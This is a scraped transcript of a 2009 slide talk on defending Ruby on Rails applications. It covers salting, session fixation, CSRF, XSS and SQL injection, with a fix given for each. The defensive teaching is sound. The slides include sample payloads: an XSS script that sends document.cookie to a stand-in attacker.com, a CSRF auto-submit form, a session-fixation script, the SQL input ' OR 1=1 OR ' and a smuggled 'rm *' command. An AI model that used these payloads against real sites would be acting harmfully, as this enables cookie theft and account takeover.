defending against attacks with rails

Post on 06-May-2015

2.828 Views

Category:

Technology

0 Downloads

Preview:

Click to see full reader

DESCRIPTION

Let's face it, the web can be a dangerous place. So how do you protect your users and yourself? Tony Amoyal answers that and more as he shows how Rails can help protect against miscreants.

TRANSCRIPT

Defending Against Defending Against Attacks Attacks

With RailsWith Rails

Tony AmoyalTony Amoyal

Web Application ConsultantWeb Application Consultant

www.tonyamoyal.comwww.tonyamoyal.com

July 14, 2009July 14, 2009

General PrinciplesGeneral Principles► Kerckhoff's Principle – Always assume the Kerckhoff's Principle – Always assume the

method of security is knownmethod of security is known

► Always validate on the server side, even if Always validate on the server side, even if you validate on the client sideyou validate on the client side

► Whitelist, don't BlacklistWhitelist, don't Blacklist

AuthenticationAuthentication

Step 1: Step 1:

One-way hash all passwordsOne-way hash all passwords

MD5 MD5 →→ 128-bit hash values ( 2^128 tries) 128-bit hash values ( 2^128 tries)

SHA SHA →→ 160-bit hash values (2^160 tries) 160-bit hash values (2^160 tries)

Secure?Secure?

Why isn’t hashing Why isn’t hashing enough?enough?

Same passwords hash to same value Same passwords hash to same value

→ → Attacker can easily determine if multiple Attacker can easily determine if multiple users users

have the same passwordhave the same password

Very weak against Rainbow attackVery weak against Rainbow attack

Use SaltUse Salt

► Ensures same password will hash to Ensures same password will hash to different valuesdifferent values

► Rainbow tables are useless, attacker would Rainbow tables are useless, attacker would essentially have to compute a rainbow essentially have to compute a rainbow table for each password with the new salttable for each password with the new salt

People Use Crappy PasswordsPeople Use Crappy Passwords

20 common passwords from MySpace phishing 20 common passwords from MySpace phishing attack:attack:

password1, abc123, myspace1, password, blink182,

qwerty1, ****you, 123abc, baseball1, football1,123456, soccer, monkey1, liverpool1, princess1,jordan23, slipknot1, superman1, iloveyou1,

monkey

( http://www.schneier.com/blog/archives/2006/12/realworld_passw

.html )

Restful AuthenticationRestful AuthenticationGreat way to implement authentication in Great way to implement authentication in

RailsRails

► Easy setup with hashes and saltsEasy setup with hashes and salts► Extra protection for crappy passwords Extra protection for crappy passwords

with SITE_KEY and stretchingwith SITE_KEY and stretching

What Else Can We Do?What Else Can We Do?

It is difficult to protect accounts with bad It is difficult to protect accounts with bad passwordspasswords

► Always provide a password strength meterAlways provide a password strength meter

► Maybe only accept passwords at a certain Maybe only accept passwords at a certain strength levelstrength level

Mass AssignmentMass Assignment

Rails let's us do stuff like…Rails let's us do stuff like…

Not secure if we have attributes like Not secure if we have attributes like is_admin because an attacker can POST is_admin because an attacker can POST with…with…

Solve By WhitelistingSolve By Whitelisting

For previous example:For previous example:

Can also use attr_protected to BlacklistCan also use attr_protected to Blacklist

Accessing RecordsAccessing Records

LoggingLogging

Tell Rails not to log sensitive dataTell Rails not to log sensitive data

Security Through Obscurity?Security Through Obscurity?

My default server response header:My default server response header:

““Apache/2.2.11 (Unix) mod_ssl/2.2.8 Apache/2.2.11 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.8g DAV/2 PHP/5.3.0 OpenSSL/0.9.8g DAV/2 PHP/5.3.0 Phusion_Passenger/2.2.2”Phusion_Passenger/2.2.2”

Add this to your Apache conf:Add this to your Apache conf:

ServerTokens ProdServerTokens Prod

→→New server response header:New server response header:

““Apache”Apache”

More Obscurity?More Obscurity?

Turn your server signature offTurn your server signature off

Add this to the bottom of your Apache conf:Add this to the bottom of your Apache conf:

ServerSignature OffServerSignature Off

Stack TracesStack Traces

Rails handles this but good to know aboutRails handles this but good to know about

config/environments/development.rbconfig/environments/development.rb

config/environments/production.rbconfig/environments/production.rb

Want prod error message in dev? In app Want prod error message in dev? In app controller:controller:

Time For The Scary Stuff...Time For The Scary Stuff...

Session HijackingSession Hijacking

How does it work?How does it work?

Session ID's are stored on client machinesSession ID's are stored on client machines

1) Attacker gets SID from authenticated user1) Attacker gets SID from authenticated user

2) Attacker presents SID to web app as his 2) Attacker presents SID to web app as his ownown

How Does Attacker Get SID?How Does Attacker Get SID?

1) Guess the Session ID1) Guess the Session ID

2) Network sniffing2) Network sniffing

3) Finding cookies on shared computer3) Finding cookies on shared computer

4) Cross-site scripting (more on this later)4) Cross-site scripting (more on this later)

5) Session fixation (more on this later)5) Session fixation (more on this later)

Guessing the Session IDGuessing the Session ID

Rails makes this very difficult by making Rails makes this very difficult by making Session ID's very randomSession ID's very random

SID's are hashes of string containing:SID's are hashes of string containing:► current timecurrent time► random number between 0 and 1random number between 0 and 1► PID of ruby interpreter (another random PID of ruby interpreter (another random

number)number)► constant stringconstant string

Sniffing the Session IDSniffing the Session ID

Possible on an unencrypted wireless LAN Possible on an unencrypted wireless LAN

( internet cafe )( internet cafe )

Solution: provide SSL connectionSolution: provide SSL connection

Shared computer problemShared computer problem

Consider public computersConsider public computers

Solution: Solution:

Provide a logout button to clear the sessionProvide a logout button to clear the session

Good example – Bank Of America:Good example – Bank Of America:► Provides a low session expiration time with Provides a low session expiration time with

pop-up warningpop-up warning

Cookie SecurityCookie Security

Rails uses CookieStore by default as of Rails uses CookieStore by default as of v2.2v2.2

Can users tamper with the cookies?Can users tamper with the cookies?

Only if they have the secret key:Only if they have the secret key:config/environment.rbconfig/environment.rb

Cookie PrecautionsCookie Precautions

Don't store in the session:Don't store in the session:► Sensitive DataSensitive Data

Cookie data is Cookie data is notnot encryptedencrypted, it is , it is base64 base64 encodedencoded! ! → → clients can read clients can read cookiescookies

► Transient Data (account balance)Transient Data (account balance)

Vulnerable to replay attack...see next slideVulnerable to replay attack...see next slide

► Use a long secret key: 128 charactersUse a long secret key: 128 characters

What is a Replay Attack?What is a Replay Attack?

When a client presents an old cookie that is When a client presents an old cookie that is valid and convinces the server that it is valid and convinces the server that it is currentcurrent

Use a nonce? …probably overkillUse a nonce? …probably overkill

(if not, use memcached?)(if not, use memcached?)

► Best solution:Best solution:

Don't keep transient data that is sensitive Don't keep transient data that is sensitive (account balance) in the session(account balance) in the session

Session FixationSession Fixation

1) Attacker gets a valid session1) Attacker gets a valid session

2) Attacker forces his victim to use valid 2) Attacker forces his victim to use valid sessionsession

Now attacker has access to your sessionNow attacker has access to your session

Good Example from Good Example from WikipediaWikipedia

Given:Given:

► Alice has bank account at http://un.safe.lyAlice has bank account at http://un.safe.ly

► Mallory wants Alice's moneyMallory wants Alice's money

► Alice has reasonable amount of trust in Alice has reasonable amount of trust in MalloryMallory

The AttackThe Attack

1) Mallory knows the http://un.safe.ly 1) Mallory knows the http://un.safe.ly accepts SID's from query stringsaccepts SID's from query strings

2) Mallory sends Alice an email 2) Mallory sends Alice an email

““Check out this new cool bank feature Check out this new cool bank feature http://un.safe.ly/?SID=GOTCHA” http://un.safe.ly/?SID=GOTCHA”

3) Alice visits the link and logs in3) Alice visits the link and logs in

4) Mallory visits the link and has access to 4) Mallory visits the link and has access to Alice's accountAlice's account

Other AttacksOther Attacks

You can also use XSS to set a victim's You can also use XSS to set a victim's session IDsession ID

<script><script>

document.cookie="_session_id=PUT_SID_HERE";document.cookie="_session_id=PUT_SID_HERE";

</script></script>

OROR

<meta http-equiv=Set-Cookie <meta http-equiv=Set-Cookie content="_session_id=PUT_SID_HERE">content="_session_id=PUT_SID_HERE">

Fixation MitigationFixation Mitigation

In Rails, one line of code:In Rails, one line of code:

reset_sessionreset_session

In last example, Alice's session would have In last example, Alice's session would have been reset upon loginbeen reset upon login

The tradeoff? Forms will expire The tradeoff? Forms will expire (read more: (read more:

vendor/plugins/restful_authentication/notes/Tradeoffs.txt )vendor/plugins/restful_authentication/notes/Tradeoffs.txt )

Restful Authentication Restful Authentication ExampleExample

app/controllers/sessions_controller.rbapp/controllers/sessions_controller.rb

Read about tradeoffs: Read about tradeoffs: plugins/restful_authentication/notes/Tradeoplugins/restful_authentication/notes/Tradeoffs.txtffs.txt

Cross-Site Request ForgeryCross-Site Request Forgery

What is it?What is it?

Let's start with a great example from Rails Let's start with a great example from Rails GuidesGuides

CSRF ExampleCSRF Example

1) Attacker posts on a message board1) Attacker posts on a message board<img src="http://www.webapp.com/project/1/destroy"> <img src="http://www.webapp.com/project/1/destroy">

2) Bob recently used webapp.com, session still 2) Bob recently used webapp.com, session still alivealive

3) Bob visits message board3) Bob visits message board

4) Browser loads image, sending cookie from 4) Browser loads image, sending cookie from Bob's machineBob's machine

5) webapp verifies cookie credentials and destroys 5) webapp verifies cookie credentials and destroys project with ID=1project with ID=1

6) No image displayed on forum6) No image displayed on forum

CSRF MitigationCSRF Mitigation

1) Require POST methods where 1) Require POST methods where applicableapplicable

config/routes.rbconfig/routes.rb

app/controllers/projects_controller.rbapp/controllers/projects_controller.rb

Still not secure, POST requests can be Still not secure, POST requests can be sent automatically on eventssent automatically on events

Automatic POST RequestAutomatic POST Request

<a href="http://www.harmless.com/" onclick=" <a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); var f = document.createElement('form'); f.style.display = 'none'; f.style.display = 'none'; this.parentNode.appendChild(f); f.method = this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'POST'; f.action = 'http://www.example.com/account/destroy'; 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless f.submit(); return false;">To the harmless survey</a>survey</a>

OROR

<img src="http://www.harmless.com/img" <img src="http://www.harmless.com/img" width="400" height="400" width="400" height="400" onmouseover="..." />onmouseover="..." />

Another Security MeasureAnother Security Measure

2) Add a security token in forms2) Add a security token in forms

Rails automatically includes security tokens in Rails automatically includes security tokens in formsforms

app/controllers/application_controller.rbapp/controllers/application_controller.rb

Use secret if not using the CookieStoreUse secret if not using the CookieStore

Cross-Site Scripting ( XSS )Cross-Site Scripting ( XSS )

Most CommonMost Common

Most DevastatingMost Devastating

510,000 Attacks510,000 Attacks

in April, 2008 in April, 2008

The XSS AttackThe XSS Attack

1) Attacker visits website and injects 1) Attacker visits website and injects some code through web form or other some code through web form or other meansmeans

2) Web application saves injected code 2) Web application saves injected code and displays it later to a victimand displays it later to a victim

The PossibilitiesThe Possibilities

► Steal cookiesSteal cookies► Hijack sessionsHijack sessions► Redirect victim to malicious websiteRedirect victim to malicious website► Display advertisements to benefit Display advertisements to benefit

attackerattacker► Change elements on website to get Change elements on website to get

credentialscredentials► Install malware through browser security Install malware through browser security

holesholes

XSS ExampleXSS Example

Getting cookie informationGetting cookie information

<script>document.write('<img <script>document.write('<img src="http://www.attacker.com/' + document.cookie src="http://www.attacker.com/' + document.cookie + '">');</script>+ '">');</script>

OROR

<img src=javascript:document.write('<img <img src=javascript:document.write('<img src="http://www.attacker.com/' + document.cookie src="http://www.attacker.com/' + document.cookie + '">')>+ '">')>

OROR

<table background="..."><table background="...">

Now the attacker checks his server logsNow the attacker checks his server logs

Get User CredentialsGet User Credentials

Use an iframe to present a form to be Use an iframe to present a form to be submitted to your serversubmitted to your server

<iframe name="LoginForm" <iframe name="LoginForm" src="http://58.xx.xxx.xxx"></iframe>src="http://58.xx.xxx.xxx"></iframe>

XSS MitigationXSS Mitigation

1) Whitelist input filtering1) Whitelist input filtering

Good reference:Good reference:http://apidock.com/rails/ActionView/Helpers/SanitizeHelper/http://apidock.com/rails/ActionView/Helpers/SanitizeHelper/

sanitizesanitize

2) Escape all output of your application2) Escape all output of your application

In your views...In your views...<%=h user_input %> # done by default in Rails <%=h user_input %> # done by default in Rails

33

SQL InjectionSQL Injection

An attack that manipulates SQL An attack that manipulates SQL queries performed by a web queries performed by a web application on its database.application on its database.

SQL Injection ExampleSQL Injection Example

Given: My application has Reminder objects Given: My application has Reminder objects which belong to Band objectswhich belong to Band objects

Reminder.find(:all, Reminder.find(:all,

:conditions => "band_name = '#{band_name}'"):conditions => "band_name = '#{band_name}'")

What if an attacker enters for their What if an attacker enters for their band_name:band_name:

' OR 1=1 OR '' OR 1=1 OR '

Resulting SQL:Resulting SQL: SELECT * FROM `reminders` WHERE (band_name = '' SELECT * FROM `reminders` WHERE (band_name = ''

OR 1=1 OR '')OR 1=1 OR '')

SQL Injection MitigationSQL Injection Mitigation

In Rails useIn Rails useReminder.find(:all, :conditions => ["band_name Reminder.find(:all, :conditions => ["band_name

= ?", band_name])= ?", band_name])

Resulting SQL:Resulting SQL:SELECT * FROM `reminders` WHERE (band_name = '\' SELECT * FROM `reminders` WHERE (band_name = '\'

OR 1=1 OR\'')OR 1=1 OR\'')

', ”, NULL, and line breaks are escaped', ”, NULL, and line breaks are escaped

→ → Query returns nothingQuery returns nothing

But Obviously...But Obviously...

Do this:Do this:

@reminders = @band.reminders@reminders = @band.reminders

The previous tip works great for The previous tip works great for complicated custom queriescomplicated custom queries

Other InjectionsOther Injections

1) Ajax1) AjaxReturning a string in Ajax call? Escape in controllerReturning a string in Ajax call? Escape in controller

2) RJS2) RJSescape_javascript() within JS and h() within HTMLescape_javascript() within JS and h() within HTML

3) CSS 3) CSS Some browsers allow HTML/JS in CSSSome browsers allow HTML/JS in CSS<div id="abc" expr="alert('!!!')" <div id="abc" expr="alert('!!!')"

style="background:url('javascript:eval(document.all.abc.expr)')">style="background:url('javascript:eval(document.all.abc.expr)')">

...works just like HTML/JS injection...works just like HTML/JS injection

More InjectionsMore Injections

4) Textile4) TextileUse whitelist filtering!Use whitelist filtering!RedCloth.new("<a RedCloth.new("<a

href='javascript:alert(1)'>hello</a>", href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html[:filter_html]).to_html

# => "<p><a # => "<p><a

href="javascript:alert(1)">hello</a></p>"href="javascript:alert(1)">hello</a></p>"

5) Command Line5) Command Linesystem("/bin/echo","hello; rm *")system("/bin/echo","hello; rm *")

# prints "hello; rm *" and does not delete files# prints "hello; rm *" and does not delete files

Even More InjectionsEven More Injections

6) Header6) Header► escape referer, user-agent, cookie, etc. if you escape referer, user-agent, cookie, etc. if you

display these headers on a pagedisplay these headers on a page► be aware of how you build headers because be aware of how you build headers because

injections can rewrite headers and inject injections can rewrite headers and inject arbitrary headers (up to Rails 2.1.2)arbitrary headers (up to Rails 2.1.2)

► more in Rails Guides, section 8.9more in Rails Guides, section 8.9

7) Encoding7) Encoding► Browser understands encoding, but your app Browser understands encoding, but your app

does not therefore sanitize method is uselessdoes not therefore sanitize method is useless

Regular ExpressionsRegular Expressions

Use \A and \Z, not ^ and $Use \A and \Z, not ^ and $

The problem?The problem?file.txt%0A<script>alert('hello')</script>file.txt%0A<script>alert('hello')</script>

passes the test because %0A is a newlinepasses the test because %0A is a newline

Result: Result: "file.txt\n<script>alert('hello')</script>""file.txt\n<script>alert('hello')</script>"

Whitelist, Don't BlacklistWhitelist, Don't Blacklist

► before_filter :only => [...]before_filter :only => [...] instead of instead of before_filter :except => [...]before_filter :except => [...]►Use Use attr_accessibleattr_accessible instead of instead of attr_protectedattr_protected

► Only allow certain tags when stripping Only allow certain tags when stripping instead of allowing all tags exceptinstead of allowing all tags except

►Don't try to correct user inputDon't try to correct user input

This will make the attack work: This will make the attack work: "<sc<script>ript>".gsub("<script>", "")"<sc<script>ript>".gsub("<script>", "")

Some LinksSome Links

► http://guides.rubyonrails.org/security.htmlhttp://guides.rubyonrails.org/security.html► http://en.wikipedia.org/wiki/Session_fixationhttp://en.wikipedia.org/wiki/Session_fixation► http://www.rorsecurity.info/journal/http://www.rorsecurity.info/journal/

2007/4/15/session-fixation-in-rails.html2007/4/15/session-fixation-in-rails.html► http://github.com/technoweenie/restful-http://github.com/technoweenie/restful-

authentication/authentication/► http://www.matasano.com/log/958/enough-http://www.matasano.com/log/958/enough-

with-the-rainbow-tables-what-you-need-to-with-the-rainbow-tables-what-you-need-to-know-about-secure-password-schemes/know-about-secure-password-schemes/

My Blog: www.tonyamoyal.com My Blog: www.tonyamoyal.com

top related